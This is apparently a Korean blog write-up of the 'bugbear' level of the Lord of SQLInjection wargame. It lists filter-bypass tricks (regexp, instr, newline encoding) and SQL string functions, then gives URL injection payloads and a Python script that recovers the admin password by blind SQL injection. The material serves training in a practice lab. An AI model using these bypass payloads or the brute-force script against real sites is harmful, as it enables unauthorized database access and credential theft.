-
[LOS] bugbearWargame/Lord of SQLInjection 2019. 7. 5. 03:47
[bugbear] https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php
필터링되는 항목이 많아졌다...;;
like도,, =도 사용할 수 없다.
like, = 필터링 우회 방법과 문자열 함수를 찾아보았다.
[ 우회 방법 ]
<, >, between, in, instr, regexp
regexp는 like와 비슷하게 사용되며, 와일드 카드 대신 정규식을 이용해 비교한다.
(정규식 시작 : ^, 끝 : $)
[ 문자열 검색 함수 ]
locate(‘a’,’abc’)
position(‘a’,’abc’)
position(‘a’ IN ‘abc’)
instr(‘abc’,’a’)
substring_index('ab','b',1)
[ 문자열 비교 함수 ]
strcmp('a','a')
mod('a','a')
find_in_set('a','a')
field('a','a')
count(concat('a','a'))
[ SQL Injection 필터링 우회 ] https://security04.tistory.com/171해당 우회 방법 및 내장 함수를 조합하여 pw를 알아낼 수 있다.
우선, like 대신 regexp를 이용하여 'Hello admin'을 출력시켜 보았다.
?no=0||id%0aregexp%0a"^admin"
위와 같이 우회할 수 있다는 것을 확인하였다.
pw 값 알아내기
?no=0||id%0aregexp%0a"admin"%26%26pw%0aregexp%0a"^a"
?no=0||id%0aregexp%0a"admin"%26%26hex(right(left(pw,n),1))<hex("[0 - 9], [a - z]")
?no=0||instr(left(pw,n),a)python을 이용하여 pw를 찾아보았다.
[ 소스 코드 ]
#!/usr/bin/env python # -*- coding: utf8 -*- import requests headers = {'Cookie': 'PHPSESSID=dkbulkcv0mngs04ordrl47hgd3;'} url = "https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php" string = "1234567890abcdefghijklmnopqrstuvwxyz" len = 1 pw = '' while True: data = '?no=0||id%0aregexp%0a"admin"%26%26length(pw)<' + str(len) r = requests.get(url + data, headers = headers) if r.text.find('Hello admin') != -1 : break len += 1 print "[+] Get Password Length : ",len - 1 for i in range(1, len): for j in string: #'?no=0||id%0aregexp%0a"admin"%26%26hex(right(left(pw,' + str(i) + '),1))<hex(' + str(j) + ')' data = '?no=0||id%0aregexp%0a"admin"%26%26instr(left(pw,' + str(i) + '),"' + pw + j + '")' r = requests.get(url + data, headers = headers) if r.text.find('Hello admin') != -1 : pw = pw + j print "[*] Finding ... : ",pw break print "[+] Found Password : ", pw
[ 실행 결과 ]
pw : 52dc3991
?pw=52dc3991
점점 필터링이 많아지고,, 어려워진다...
SQL 내장 함수나 연산자를 많이 공부해야겠다.
'Wargame > Lord of SQLInjection' 카테고리의 다른 글
[LOS] assassin (0) 2019.07.06 [LOS] giant (0) 2019.07.05 [LOS] darkknight (0) 2019.07.05 [LOS] golem (0) 2019.07.05 [LOS] skeleton (0) 2019.07.05 댓글